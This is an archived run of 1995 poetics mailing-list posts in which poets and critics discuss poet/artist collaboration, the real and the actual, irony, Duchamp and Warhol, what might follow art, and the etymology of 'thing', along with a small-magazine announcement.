hi loss, this isn't exactly what you were asking about, but i want to plug an extraordinarily beautiful intermedia book anyway, Excerpts from Dikte for Dictee, by Walter K. Lew. It's a response to Theresa Hak-Kyung Cha's book Dictee; walter's bk started as an essay for a volume of criticism on the piece, but he came to feel that using standard critical language and form wd violate Cha's project, so what evolved was what he calls a "critical collage," a series of textual fragments from Dictee and its various intertexts, as well as his own notes etc., and film stills, photos and charts that evoke and resonate with broad and specific themes in Dictee. All 350 copies are signed with his blood, thus actualizing one of Cha's wordplays, "sangencre," which dramatic sight led to some copies being returned after purchase on the buyers' mistaken assumption that the smear indicated a flawed copy. So it's more of a living artist/poet collaborating with a dead one (more so than Spicer/Lorca...)...md

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421. Tom Mandel
Re: Poet/Artist "Collaboration"
Sat 20 May 1995

No articles to offer, but fyi the poet Beth Joselow and the
poet I will be in Moscow next month visiting the Moscow
Studio- an international visual arts studio founded by
the
(ooops) Washington artist Dennis O'Neal. We'll be
undertaking collaborative projects with a couple of
Russian artists (in my case, it looks like I'll
work with the 'paper architect' Yuri Avakkumov).

I think this will be rather true than mere, but
hey, who knows? The idea is to do silk-screen
books in small editions. Yuri's fantastic
conceptual work I find thrilling; I'm writing

poems in the form of ladders (line-rungs and
line-poles) in preparation.

Tom Mandel

↑ Index

422. **Tom Mandel**
Re: Poet/Artist "Collaboration"
Sat 20 May 1995

...I terminated that message with finger not mind, meaning to continue by saying that Beth will be working with Pavel Makov of Ukraine. Beth visited the studio abt 18 months ago, but it is my maiden voyage.

Tom

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423. **Tom Mandel**
Re: Absence Sensorium
Sat 20 May 1995

Re: Absence Sensorium online...

Dan Davidson and I agree that this is a great idea, and we want to pursue it. At present, however, AS is out - being read for publication; we can't think about an alternative or additional publishing paradigm (i.e. online) until we know whether our potential publisher is interested in printing AS, in which case that person surely would have a say in determining the best way(s) to distribute the work.

So... we are asking for the chance to come back to you, Loss - perhaps as soon as a month from now, perhaps sooner - and discuss this some more. Thank you for encouraging this idea (and, to take the occasion, for all the good work of the EPC).

Tom Mandel

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424. **Steve Carll**
Re: really Real
Sun 21 May 1995

---

kathryne writes:

>But I feel a bit steamed by our present (inter) national spiral
>into meanness and reaction, and dead guys like Marx can only help

>a bit more than vain arguments over which Marxism is correct//WAS possible.
>
>Still, one lives, in a sense by engaging the fight indirectly, poetically.
>By the way, I hear that all of Whitman's recently discovered notebooks
>are available on-line. I hear the spectre of Pound screaming for joy.
>Oh, my, there are ghosts--and there are ghosts--dancing spectrally in
>this machine.
>
>
I agree; I think any approach that, however well-thought-out in its
political philosophy, doesn't ground and frame itself in compassion, and
acknowledge the importance of listening, won't slow the spiral.
Let's not give up the ghost! :) (uh-oh; did i really use a smiley?)

Steve

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425. **John Byrum**
Re: Actually actual?
Sun 21 May 1995

Excerpt from Jeffrey Timmons' recent posting:

Poetry--Art (and I'll include
science here)--are those areas of imaginative experience where those
descriptions are forged.

Jeff, I agree with you here in at least two senses:

Forged as in Joyce's "forged in the smithy of the soul"; and forged in the sense of "inventing a fictitious story, a lie, etc." and "to fabricate by false (I would rather say by metaphoric) imitation." (Random House Dictionary of the Eng Lang definitions of "forge" sense 1)

And of course metaphors work by relating/comparing two pictures or areas of the language network; i.e., one picture gets mapped onto another. And obviously, not all the "points" or aspects of one picture align or map onto those of the other picture. Hence metaphors are not actually "false" comparisons, but dreamlike yokings-together which produce a third body (or picture), allowing us to draw new insights, make new and further connections between areas of language and experience we previously thought were relatively unconnected, etc.

John

↑ Index

426. **John Byrum**
Re: POETICS Digest - 17 May 1...
Sun 21 May 1995

Jeffrey Timmons concludes a recent post with:

I am also reminded of Whitman's sentiment in Song of Myself where he says something to the effect of being mad with desire to be in contact with the earth . . . .

Jeffrey Timmons

To that we might reply: "Dammit Walt take your shoes off."

John

↑ Index

427. **John Byrum**
Re: Poet/Artist "Collaboration"
Sun 21 May 1995

Loss writes in a recent post:

I'm interested in recommendations on writings that specifically

address poet/artist *active* collaborations. That is, what would

be called a "true" or active collaboration versus what might be

more of a kind of "mere" illustrations with text.) Can anyone

recommend articles or other works that explore this distinction?

Thanks,

Loss

Visual poetry collapses this "collaboration" into a single presentation embodying both visual and language modes/elements. See, for example, "CORE, A Symposium on Contemporary Visual Poetry", edited by John Byrum and Crag Hill, GENERATORSCORE Press, 1993.

To forestall any requests for copies, I need to say here that the first edition is sold out, but Crag & I are contemplating a 2nd expanded edition.

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428. **George Bowering**
Re: Actually actual?
Sun 21 May 1995

It has always seemed to me that the notion of the "real" and the notion of "truth" are both things that have to be defined by the arguer, that they are both philosphical propositions, and that they are specific to each arguer's frame. That thing that (seems to?) happens when you cut your hand thru the dustmotes in the window sun shaft is what I refer to as the "actual," and hope that whatever the arguments, ut happens. I.e. it could be real or it could be a platonic simulacrum.

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429. **George Bowering**
Re: martha
Sun 21 May 1995

Hey, this Martha Stewart may be on the cover of a regional magazine, NEW YORK MAG, but I havent seen her on the cover of, say VANCOUVER magazine. I now know where she is, but I still dont know who she is.

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430. **Carl Lynden Peters**
Re: next steps after art
Sun 21 May 1995

> *Carl writes in a recent message:*
>
> *--duchamp said it's all art. like emotions. good emotion, bad emotion.*
> *good art, bad. it's art*
>
> *carl*
>
> *Has anyone read Suzi Gablik's The Re-Enchantment of Art?*
>
> *What comes after art? What might art evolve into?*
>
> *Perhaps all our involvements, all our experiences, multiply feeding into the*
> *continuous flow of our lives... a continuously heightened awareness..?..*
> *what forms would this take, what could we become?*
>
> *John*

hi, john, that's an interesting post. i think hegel (i'm not exactly certain, tho) said art would collapse and become philsophy. i've had several discussions recently with some friends here in philosophy, and it may be the revese that's true or truER. philosophy into art. but then there's kosuth: "art after philosophy"

the genius of rausneberg, cage, even warhol i think is that they erase the boundaries between art and life -- sounds godawfully cliche, i know, and like burnham writes in "problems of criticism," the question is no longer what is good art and what is bad art, but why isn't everyone an artist?

take care,
carl

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431. Charlotte Pressler
Kiosk #8
Sun 21 May 1995

K I O S K #8 just published.

Yearly subscription: $6.00 to
KIOSK
c/o English Department
306 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260.

Issue #8 includes:

Fiction/prose by Robert Creeley, Richard Russo, Mark Jacobs, Bonnie Jo Campbell, Bill Morris, Howard Saunders, and Susan Raffo.

Poetry by Jake Berry, Jeff Gburek, Richard Hague, Richard Roundy, Nava Fader, Wendy Kramer, Joseph Conte, Loss Pequen~o Glazier, Carl Dennis, John Marvin, Bill Tuttle, Celia White, Kristen Ban Tepper, Joel Kuszai, Nico Vassilakis, Cacy Forgenie, William Howe, Ike Kim, Jorge Guitart, John M. Bennett, Valerie Marek, and Jena Osman.

Photographs by Mark Maio, Martin J. Desht, and Jim Clinefelter.

Poetics list subscribers are invited to submit work for issue #9. Fiction, poetic prose, poetry, visual poetry, photography, and collage/photomontage are all welcome.

We'll be reading from November 1995 through February 1996. The fiction editor for issue #9 is Jon Pitts; the poetry editor is Charlotte Pressler; the

editor-in-chief is Lia Vella. Write us (address above) or send e-mail if you have questions or want guidelines.

Thanks to all contributors, and to outgoing editors Mary Obropta, Robert Rebein, and A.M. Allcott.

Charlotte Pressler/[redacted]/SUNY at Buffalo

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432. Steve Carll
Re: Actually actual?
Mon 22 May 1995

On March 20, George Bowering wrote:

> *It has always seemed to me that the notion of the "real" and the notion of "truth" are both things that have to be defined by the arguer, that they are both philosphical propositions, and that they are specific to each arguer's frame. That thing that (seems to?) happens when you cut your hand thru the dustmotes in the window sun shaft is what I refer to as the "actual," and hope that whatever the arguments, ut happens. I.e. it could be real or it could be a platonic simulacrum.*

I agree, although the definers of these propositions are not always arguers (I prefer to do so as a "discourser" or something like that, myself). But it is interesting that, frame-specific as they are, these notions are intercommunicable, that there is a significant overlap between my frame and yours because both are concerned with the actual in a fundamental way.

Steve

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433. Steve Carll
Re: Blair Seagram's post(s) on irony
Mon 22 May 1995

Gary Sullivan writes:

> *I have a question, probably very mundane (covered elsewhere?), about mimesis: isn't structure (or form), by its very nature, "mimetic"? It occurred to me, while reading Ira's wonderful reading of _Ketjak_, that structure (or form, or "frame" even) is the one thing all works of art (including wholly "conceptual" artworks) have in common. No duh, but it struck me for some reason. & then, it immediately struck me that, well, for an artwork to have a structure, doesn't that alone make it "mimetic" of "reality," however (& by whomever) that "real" is structured?*

> *In other words, no work of art, whether actualized or at any point of conception, is "another world." While our ideas of how the world is "structured" vary from age to age & from person-within-an-age to person-within-an-age, the notion of an underlying structure -- whatever differences we might have about the specific attributes -- seems across the board unquestioned/unquestionable. Since the one defining characteristic of "the world" we all might agree on is that it *is* (however, even randomly) structured -- how can there *be* "another" world?*
>
> *Yours,*
>
> *Gary*

It seems like if structure is something that underlies(and so transcends) the world, though, if the world is (passive) structured, couldn't this structure just as easily express itself in an otherworld that accesses different structures than are possible in our world, or accesses them in combinations impossible here? Andrew Joron, help!

Steve

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434. **Steve Carll**

Re: Actually actual?

Mon 22 May 1995

> *On Sat, 20 May 1995, Jeffrey Timmons wrote:*

I would--just for sake of furthering
>this line of thought--suggest that part of Butler's thesis (and
>Foucault's, if I am not mistaken) is that we don't simply think but are
>thought. In your example for instance, actuality is not simply
>constructed for us, by us, but has the emphasis you suggest when you say
>it is constructed through us. That is, it thinks us. The real--oops--the
>ACTUAL thinks us, not necessarily we it. This, of course, is scary. But
>then again, reading the newspaper the other day when Ralph Reed and his
>Republican hench-men (The Real?) were out in force was scary too. My
>point? Perhaps I'll defer to Richard Rorty here and repeat his idea that
>the real is out there and we have no access to it--all we have is our
>descriptions of it, descriptions that come and go through time,
>descriptions that are perceived as better or less suited to accounting
>for particular phenomena in the world. Poetry--Art (and I'll include
>science here)--are those areas of imaginative experience where those

>descriptions are forged. I need to jump over to the Gasset stuff and
>follow this up . . . .

You don't think it's scary to think that "the real is out there and we have no access to it", but it is scary to think that actuality thinks us? (I agree that Ralph Reed et al. are scary). To me, that we are thought implies no lack of freedom, only the acknowledgement that we are produced (produced like produce, not produced like products) as part of an organic process called "the world". This can indeed be scary sometimes, but if it lies at the roots of what we are, we are deeply involved in it, and access is always possible, not by attempts at "explaining" the world or "transcending" it, but simply by allowing it to unfold in our presence, since it will unfold anyway regardless of our participation. This is another way of maintaining contact with the world. Thanks for your response; I think we agree more than we disagree on this question...

Steve

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435. Wystan Curnow
Re: Poet/Artist "Collaboration"
Mon 22 May 1995

Dear Loss, Such articles may be hard to find. I have had some * experience* of collaboration. I have involved myself with the work of a New Zealand conceptual I think is the tag to use artist named Billy Apple, which is not his (real) name for about 15 years, first as an art critic but also in recent times as poet, but all through as a consultant you might say, so that no work of his got into the public arena without its going through a process which involved my participation. Meanwhile, I continued to write as a critic about the work. Complicated.

The collaborations concern a series works called Tales of Gold. The first group were text silk-screened in black on largish sheets of gold pacificated steel. A diagram of golden rectangle divisions was silk-screened on this and the text occurred within each area, with the type reducing in size in proportion--this was all done with a computer--so that the text in the smallest rectangle is almost unreadable. The sheet was then cut into the seven parts, each with its segment of text, and the work was sold in pieces--although some buyers were quick enough to buy a whole work before the piecemeal process began, and some quick re-sale activity also occurred--although hung as a unit. After that we stopped cutting the sheets up. The texts are stories concerning gold, my versions of tales told by others. I have read these at readings, sometimes projecting slides of the work. We plan to publish a book designed so as to duplicate some of the results of the passivated steel works. I would not have

written these pieces were it not for this artist's interest in the meaning of gold, the golden rectangle and the life. I am also, however, confused about my relation to his work as a whole. What I have described represents one of the clearer moments but these occur against a background of not knowing the extent of my responsibility for his work. I published something on this called' Working with Billy Apple', in SPLASH, in 1985, but so much has happened since then it onlt tells part of the story.

So it seems to me there are ad hoc collaborations, chance meetings, then there are these on-going relationships which I consider especially interesting:conceptual art, oddly (?) has produced a few double acts: like Marina Abramovic and Ulay, like Gilbert & George, Clegg & Guttman, and are you there Madeline Gins?--Arakawa and Gins--I was pleased to read your message to the net, I have just come back from Sydney and Imants Tillers who has your new book of course since you sent it to him, HELEN KELLER OR ARAKAWA which I'm anxious to read. And in some of these a division of roles is apparent, and sometimes that is a matter of the media sometimes not..... I am eager to hear of the experience others on the net have had, whether ad hoc or not.

Wystan Curnow

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436. Blair Seagram
Re: Gasset and Kierkegaard on irony:
Mon 22 May 1995

Dear Jeffrey:

P.S. About the quote I cut off and gave you no credit for. Originally I put your initials there but for some reason they got lost in the transfer. Even so, using initials is pretty relaxed I'm sure. Also, all those * =20Us * in #2 on Gasset. I thought that was some poetic technique people were using. One of Kenny Goldsmith's posts on the Top 10 kept saying =20, so I thought he was trying to say, forget 10, let's go to 20. Now I find out it's unix doing its second conversion of quotes, the first being a U.

Gasset and Kierkegaard on irony:
(I'm not too keen on Gasset.)
There are ideological differences, as witnessed by Ortega identifying himself and modernism with 19th century Romantic Irony, by way of the Schlegel brothers, who both Kierkegaard and Hegel had great disdain for.

Socrates was irony as INFINITE ABSOLUTE NEGATIVITY. And yet it was irony at work within a given time and situation. This concrete view of irony through

historical actuality is understood by both Hegel and Kierkegaard as authentic. And even though Hegel did not see in Socrates what Kierkegaard did, Kierkegaard gives credit and thanks to Hegel for illuminating the deceptive irony present in certain 19th century romantics. Nineteenth century Romantic Irony was not practiced or conceived as a present moment that was to be displaced by a new moment . Rather it condemned and denounced every philosophical standpoint without investigating any. It negated all historical truth to make room for a self-centered truth. It was not subjectivity that arose, but subjectivity raised to the second power.

There is an interesting essay on Goethe that Ortega Y Gasset was asked to write at the time of Goethe's centenary. In the essay he assails Goethe for taking the easy way out in life, for allowing his talents to degenerate into hobbies rather than struggling to make his ideas realized in a more profound way. He criticizes Germany for romanticizing Goethe as the quintessential classicist, the same way Kierkegaard criticizes 19th Romantics for not connecting their ideas to the truth in front of them.

I appreciate your remarks about the dilemma between transcendence and irony. Am I to take it you're not into transcendence but you are into Rorty's book on irony? What was it called? The book was in my vicinity at one point, but I forget the gist. What is it?

As far as JA's take on irony or whatever it was is concerned, I'm interested!

take care, Best wishes

Blair

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437. Blair Seagram
Re: POETICS Digest - 20 May 1995 to 21 May 1995
Mon 22 May 1995

Dear Gary:

Thanks for your message. Are you asking me whether structure isn't itself a form of imitation or representation. Or are you saying that we make sense of things by creating a structure which is isomorphic with respect to our dna. That the distinction between inner and outer is negligible. That the work of an artist is no different than the life they live, both exist in the same continuum. That every artist must confront the world through a frame of reference. Please comment.

I'm not sure whether this has anything whatever to do with your second point but I don't think about another world, I know I'm in this one. In this world of

mine, there is transcendence or at least the possibility for it. Now I may be ignorant of some argument which might convince me otherwise, however I am certainly open to hearing it.

take care, Best wishes

blair

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438. **Jake Berry**
Re: next steps after art
Mon 22 May 1995

John, Perhaps the next steps after art would be the observations of the various ways by which we create what unfolds as the dominant strata of our lives. documentaion would serve no purpose except to ackledge that we are are aware of it. of course there would be perhaps modes of the process that would function as post-poetic or post-art that would produce something that would be exchanged as items, as books, painting and other document forms are now. The idea though would be a general enhanced field of awareness that would require a broader perspective than is currently in practice.

Just a reaction,
Jake

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439. **Ron Silliman**
Re: Actually actual?
Mon 22 May 1995

I used to love (and quote often, probably with greater accuracy than I'm about to here) Williams' comment from Spring & All,

The perfection of forms as additions to nature.

Now, 25-30 years later, that seems too passive, simply cumulative. Now I would rewrite it:

The perfection of forms as interventions in nature.

And I'm not so sure about that word "perfections" either.

Ron Silliman

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440. **Jim Pangborn**
The Etymology of Things
Mon 22 May 1995

To those still reading posts on "the real," etc.--

The history of "reality" is indeed scary, but I find it even spookier to look up "thing" in the Oxford English Dictionary, there to find that the origin of that word in English is inseparable from issues of authority, power, and the arbitrariness thereof. A thing is whatever authority (king) designates as an object worthy of attention & discussion. Which came first, the object or the attention? OED doesn't say, can't say, nor can you nor I, because to do so would require a god's-eye view of the world. Our confusion over these "things" may well be in-built, permanent. That's as real as it gets, no?

--Jim.

Maria Damon observes:
>In message <[redacted]> UB Poetics discussion group
>writes:
>> It might be fruitful to think back to the roots of "real" in the Latin
>> *res*, or "things".
>
>just a random comment --when this msg flashed on my screen, i initially read it
>as "it might be frightful..."--md

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441. **Jim Pangborn**
Re: POETICS Digest - 17 May 1...
Mon 22 May 1995

According to the allegedly groovy Firesign Theatre (mordant, hilarious, but irritatingly moralistic late-60's satirists), Guru Lethar Ji says:

"If you want to get closer to the Earth,

sit down."

May 21 John Byrum notes:
>Jeffrey Timmons concludes a recent post with:
>
>I am also reminded of Whitman's sentiment in Song of Myself
>where he says something to the effect of being mad with desire to be in
>contact with the earth . . . .
>

>Jeffrey Timmons
>
>To that we might reply: "Dammit Walt take your shoes off."
>
>John

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442. Jim Pangborn
Re: next steps after art
Mon 22 May 1995

Mon, 22 May, Jake Berry <[redacted]> writes, in part:
>
>John,
>Perhaps the next steps after art would be the observations of the various
>ways by which we create what unfolds as the dominant strata of our lives.
>documentaion would serve no purpose except to ackledge that we are are aware
>of it. . . . The idea . . . would be a general enhanced field of awareness
>that would require a broader perspective than is currently in practice.
>
>Just a reaction,
>Jake

This is a pretty good description of at least part of the socially useful work good art already does. Like most utopic projections, it tells us something about ourselves, now--in this case right elegantly.

--Jim

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443. Chris Stroffolino
Re: eigner, address, reality
Mon 22 May 1995

---

dear hank--of course it's okay to write tributes to the living...
it's just that it's so rarely done in a MOVING way...
anyway thank you for the clarification.. chris stroffolino

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444. **Gary Sullivan**

To Steve and Blair: Re irony

Mon 22 May 1995

Dear Steve & Blair: The gesture may be meant and/or read as ironic, negative, but the fact of the gesture is genuine, positive: the structure's the one thing you can't not mean. (Maybe that's why they call it "the means.") The "impossible" or "otherworld" for us living, is absolute silence, complete negation, total irony. We can't be "in" such a state any more or less than we always are, though we can, strategically, give or create for ourselves the illusion of its "presence." (Or "nonpresence," if you want.) Carter Ratcliff's argument for Warhol, if I remember, was that the pieces were completely empty of meaning, & as such, put the viewer "in touch" with "the void"--that one state of being that humans never fully experience while alive. (We get intimations, thru art, contemplation, near-death experiences, etc.) Ratcliff was, I think, arguing that Warhol's works were "transcendent" in that respect, because they were fully expressive of that "otherworld." But his argument never took into account the specific structures of Warhol's pieces--which aren't themselves valueless. One can speak of the physical properties of his Brillo boxes, of their shape. So, Warhol is postulating (as he's negating) existence, giving a thing precise value (as he's emptying it of value). Marjorie Perloff talks about the *structures* of Duchamp's ready-mades, invests them with aesthetic values--values they certainly have whether or not intended by the maker/user. Duchamp said that he chose his ready-mades by virtue of their aesthetic neutrality, but Marjorie's sense was that Duchamp wasn't being completely honest w/us. I disagree, at least w/respect to his ready-mades, though that doesn't negate the argument that these things aren't w/out aesthetic value. I think Duchamp was after what Ratcliff credits Warhol as achieving. (What was that line someone posted about "out of the labyrinth..."? I think this might be what that was referring to: the labyrinth being existence, out of the labyrinth being entrance into that "otherworld.") Xavier Villaurutia's _Nostalgia for Death_--Paz thought that title "too cute" or "clever"--but it makes perfectly reasonable sense to me, reading those poems; he's nostalgic for a state prior to (& post-) being, writes poems in an attempt to evoke absolute silence. Art meant (or said) to evoke the "otherworld" (silence, negation, total irony) is trafficking in illusion, & requires faith on the part of the audience member (if not necessarily on the part of the artist). The artist in this sense is a magician of sorts, the audience reduced to a state of awe or artificial innocence. In this sense, all art works in the same general way: creating the illusion of something not really (or not provably) there. What Ratcliff gets from Warhol, how he talks about getting it, and Ed Foster's "Poetry Has Nothing to Do with Politics" (about evoking silence) both sound very much

like Fiction Writing 101: "Believable characters" is simply substituted with "the void" or "emptiness." Both require conscious attention to "craft." Anyway. My main point I guess was that "total irony" is impossible, that only the creation of the illusion of "total irony" is possible. Artists do not--ever--completely negate the general idea or value of "art." By being artists, creating art, with however much irony, they're still positing art in general as a "positive," whatever the message or meaning.

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445. **Loss Glazier**
Re: Poet/Artist "Collaboration"
Mon 22 May 1995

> *Visual poetry collapses this "collaboration" into a single presentation embodying both visual and language modes/elements.*

I thank everyone for their responses. It is interesting, though, isn't it, that though we have a clear "sense" of this

> (i.e., a collaboration is when an artist and poet work together, etc., for a sort of joint goal rather than the text being superimposed or vice versa)

that no citations for articles or statements have clearly emerged?

I had hoped that there would be _something_ in print or online... since I thought there'd be some definitive +ground+ for this...

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446. **Wystan Curnow**
Re: The Etymology of Things
Mon 22 May 1995

Dear Jim Pangborn, On this list we have wolfgang staehl, initiator of The Thing, a mainly art net discussion group which I believe pre-dates the setting up of this list. Before we add this to our collection of SPOOKY words maybe Wolfgang will come forward with a different etymology. Unless I am wrong The Thing has is origins in the early political history of the British Isles, pre-Celt? and is the name for a gathering at which issues of social and religious moment were discussed, weddings held and so on.In large part a discussive occasion/place which is to say a precursor to the net, this list, etc. Am I right, wolfgang? Wystan Curnow

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447. **Carl Lynden Peters**
Re: next steps after art
Mon 22 May 1995

> *Mon, 22 May, Jake Berry <[redacted]> writes, in part:*
>
> *John,*
> *Perhaps the next steps after art would be the observations of the various ways by which we create what unfolds as the dominant strata of our lives. documentaion would serve no purpose except to ackledge that we are are aware of it. . . . The idea . . . would be a general enhanced field of awareness that would require a broader perspective than is currently in practice.*
>
> *Just a reaction,*
> *Jake*
>
> *This is a pretty good description of at least part of the socially useful work good art already does. Like most utopic projections, it tells us something about ourselves, now--in this case right elegantly.*
>
> *--Jim*

...like poetry, science and religion

carl

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448. **Carl Lynden Peters**
Re: To Steve and Blair: Re irony
Mon 22 May 1995

> *Marjorie Perloff talks about the *structures* of Duchamp's ready-mades, invests them with aesthetic values--values they certainly have whether or not intended by the maker/user. Duchamp said that he chose his ready-mades by virtue of their aesthetic neutrality, but Marjorie's sense was that Duchamp wasn't being completely honest w/us. I disagree, at least w/respect to his ready-mades, though that doesn't negate the argument that these things aren't w/out aesthetic value. I think Duchamp was after what Ratcliff credits Warhol as achieving. (What was that line someone posted about "out of the labyrinth..."? I think this might be what that was referring to: the labyrinth being existence, out of the labyrinth being entrance into that "otherworld.")*

this is the quotation from "the creative act": "to all appearances, the artist acts like a mediumistic being who, from the labyrinth beyond time and space, seeks his way out to a clearing."

i think it's important to note that any "aesthetic" (a much improperly used word today) value that one places on the ready-mades is more revealing of the epistemological preferences of the viewer than it is of duchamp himself. that's not to suggest there isnt the tongue-in-cheek mentality operating throughout his project (clearly that adds to his "indifference" strategically). but i dont understand suggestion that duchamp wasnt being completely honest with us. duchamp was warhol before even warhol was warhol. both are important shamen. but it seems awkward to name them as shamen. as one who has gone thru art school at both the undergraduate and graduate levels, i still contend that the majority of readings re the ready-mades are wrong. i think koons has had a lot to do with that

> Anyway. My main point I guess was that "total irony" is impossible,
> that only the creation of the illusion of "total irony" is possible.
> Artists do not--ever--completely negate the general idea or value of
> "art." By being artists, creating art, with however much irony, they're
> still positing art in general as a "positive," whatever the message or
> meaning.
>
...duchamp made art. he also made non-art. that's how i perceive the famous large glass

even the mona lisa didnt really make much sense to me until he completed it with the 'tash

carl

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449. **Jeffrey Timmons**
The Feminine
Mon 22 May 1995

On Sun, 21 May 1995 [redacted] wrote:

> *What would a feminine conception of creativity look like?*

Again, I don't know, but I have an idea. I recreate here--if you're not familiar with it--some of Cixous's statements.

She suggests an "affirmation of difference: the constitution of a feminine not defined in reference to the masculine; it would be an "economy" defined by forms specific to women: "a regime, energies, a system of spending not necessarily carved out by culture. A feminine textual body is recognized by the

fact that it is always endless, without endin: there's no closure, it doesn't stop, and it's this that very often makes the feminine text difficult to read. For we've learned to read books that basically pose the word "end." But this one doesn't finish, a feminine text goes on and on and at a certain point the volume comes to and end but the writing continues and for the reader this means being thrust into the void." A feminine text "takes the metaphorical form of wandering, excess, risk of the unreckonable: no reckoning, a feminine text can't be predicted, isn't predictable, isn't knowableand is therefore very disturbing." Just a few suggestions of a direction for an answer to your question. For all the claims of essentializing sexual difference, though, I find cixous interesting. And yes, men can write the feminine--poets, though, not novelists. According to her....

Jeffrey Timmons

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450. Robert Drake
Re: Poet/Artist "Collaboration"
Mon 22 May 1995

> *Visual poetry collapses this "collaboration" into a single presentation embodying both visual and language modes/elements.*
>
> *I thank everyone for their responses. It is interesting, though, isn't it, that though we have a clear "sense" of this*
>
> > *(i.e., a collaboration is when an artist and poet work together, etc., for a sort of joint goal rather than the text being superimposed or vice versa)*
>
> *that no citations for articles or statements have clearly emerged?*
>
> *I had hoped that there would be _something_ in print or online... since I thought there'd be some definitive +ground+ for this...*

loss--

already in the mail to you is the issue of TapRoot devoted to CoLaboration... personal reflections by various folks who'd done collaborative projects, plus samples. published 5 years ago, it's covers a pretty proscribed area ov th field, embarrasing what i didn't know at the time that it appeared. still, the bibliography has +150 entries...

asever
luigi

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451. **John Byrum**

Re: next steps after art

Mon 22 May 1995

In a recent message, Carl Peters concludes with the following:

>the genius of rausneberg, cage, even warhol i think is that they >erase
>the boundaries between art and life -- sounds godawfully cliche, i >know,
>and like burnham writes in "problems of criticism," the question is >no
longer what is good art and what is bad art, but why isn't >everyone an
artist?

Carl,

I don't think the people you mention "erase the boundaries between art and life", but they may blur them a bit by integrating aspects of each in the other. My notion of erasing the boundaries would be more like conceiving your entire life and all your thoughts and experiences as art. But even that is not really what I want to mean, if for no other reason than that if everything is subsumed under the one category, art, then you have basically a superfluous category (categories are meaningful or useful only in relation to other categories). I may mean something like realizing the complexity and interwoven unity in multiplicity of everything, but that sounds suspiciously academic and even religious in overtone, so that's not quite it either. In fact, I think I mean I don't have the words yet to say what I mean.

I do have the feeling that continuing to make art (i.e., writing "poetry" and publishing it, or making visual art, etc) may not really accomplish all that I/we want to accomplish. And I don't mean just social change or changes in our ways of thinking, although those are certainly worthwhile changes to strive for. I just don't think that art is finally that effectual in doing that. (Of course I continue to believe that art accummulates small changes over time which can lead to shifts in the culture.) But, the culture is becoming ever more adept at swallowing any artistic production whole and commodifying thus neutralizing it. Our productions can have an effect in our small circles of readers/correspondents (such as this discussion group, and the readers of our small presses) and change can build and evolve and even leak out slightly, but will probably never become a significant factor in the culture at large.

Enough rambling. This is a conflicted subject for me.

John

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452. **John Byrum**
Re: next steps after art
Mon 22 May 1995

Dear Jake,

Thanks for your thoughts on the next steps after art.

Could it be that we might discontinue making art as it is currently understood because we finally realize that its forms and modes of understanding can no longer express quite what we want to say?

And what would we do then? Not an Art Strike. That's not what i mean it all. And is simply living it without producing documents or relics somehow going to be enough?

We need a new idea of a supple communication fine-grained enough to accommodate a wide range of new approaches. We need to somehow re-think the entire enterprise. Art has become mere decoration.

John

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453. **John Byrum**
Re: next steps after art
Mon 22 May 1995

Following are some replies to my question about the next evolution "after art":

>
> Mon, 22 May, Jake Berry <[redacted]> writes, in part:
> >
> >John,
> >Perhaps the next steps after art would be the observations of the various
> >ways by which we create what unfolds as the dominant strata of our lives.
> >documentaion would serve no purpose except to ackledge that we are are aware
> >of it. . . . The idea . . . would be a general enhanced field of awareness
> >that would require a broader perspective than is currently in practice.
> >
> >Just a reaction,
> >Jake
>
> This is a pretty good description of at least part of the socially useful
> work good art already does. Like most utopic projections, it tells us

> something about ourselves, now--in this case right elegantly.
>
> --Jim
>

> *...like poetry, science and religion*
>
> *carl*

This is good thought here, but perhaps we need to somehow try to think outside received categories like poetry, art, science or religion. All these modes of enquiry have their own pre-conceived notions and filters. We just might need new ones.

John

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454. **John Byrum**
Re: To Steve and Blair: Re irony
Mon 22 May 1995

Gary Sullivan concludes a recent message with:

Artists do not--ever--completely negate the general idea or value of "art." By being artists, creating art, with however much irony, they're still positing art in general as a "positive," whatever the message or meaning.

Gary,

Can people evaginate "the general idea or value of "art""? i.e., turn it inside out so that its former inside becomes the whole world of our experience, thoughts, desires...

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455. **George Bowering**
Re: martha again
Tue 23 May 1995

Okay, according to that regional magazine, this Martha Stewart is "the definitive American woman of her time." But who is she? Or, what does she do? Is she a shrink? A professor? An actress? A Politician? I have heard of a lot of American (sic) women of our time, but I have never, before this netstuff, heard of her. Is it the fact that in New York they take what happens there to be the real U.S. the way the U.S. calls all their sports winners the "world champions"?

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456. **George Bowering**
Re: Really real Martha
Tue 23 May 1995

Thanks, Michael, for telling me a little abt this Stewart woman. I take it that she comes on TV and in regional NY magazines telling people recipes and furniture placement?

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457. **George Bowering**
Re: Yo, Ed
Tue 23 May 1995

I wanted to write a
line

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458. **Steve Carll**
Re: The Etymology of Things
Tue 23 May 1995

Jim Pangborn writes:

> *The history of "reality" is indeed scary, but I find it even spookier to look up "thing" in the Oxford English Dictionary, there to find that the origin of that word in English is inseparable from issues of authority, power, and the arbitrariness thereof. A thing is whatever authority (king) designates as an object worthy of attention & discussion. Which came first, the object or the attention? OED doesn't say, can't say, nor can you nor I, because to do so would require a god's-eye view of the world. Our confusion over these "things" may well be in-built, permanent. That's as real as it gets, no?*
>
> *--Jim.*

My _Dictionary of Word Origins_ says that "The ancestral meaning of *thing* is 'time': it goes back to a prehistoric Germanic *thingam, which was related to Gothic *theihs* 'time,' and may come ultimately from the Indo-European base *ten-* 'stretch' (source of English "tend", "tense", etc.) In Germanic it evolved semantically via 'appointed time' to 'judicial or legislative assembly.' This was the meaning it originally had in English..."

So, while the word may be bound up with power and authority, the way power and authority bind up everything they come in contact with, it's also bound up with something that eludes power and authority: time, which is more fundamentally grounded.

Steve

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459. **Steve Carll**

Re: The Feminine

Tue 23 May 1995

Jeffrey Timmons writes:

> *Again, I don't know, but I have an idea. I recreate here--if you're not familiar with it--some of Cixous's statements.*
>
> *She suggests an "affirmation of difference: the constitution of a feminine not defined in reference to the masculine; it would be an "economy" defined by forms specific to women: "a regime, energies, a system of spending not necessarily carved out by culture. A feminine textual body is recognized by the fact that it is always endless, without endin: there's no closure, it doesn't stop, and it's this that very often makes the feminine text difficult to read. For we've learned to read books that basically pose the word "end." But this one doesn't finish, a feminine text goes on and on and at a certain point the volume comes to and end but the writing continues and for the reader this means being thrust into the void." A feminine text "takes the metaphorical form of wandering, excess, risk of the unreckonable: no reckoning, a feminine text can't be predicted, isn't predictable, isn't knowableand is therefore very disturbing." Just a few suggestions of a direction for an answer to your question. For all the claims of essentializing sexual difference, though, I find cixous interesting. And yes, men can write the feminine--poets, though, not novelists. According to her....*
>
> *Jeffrey Timmons*

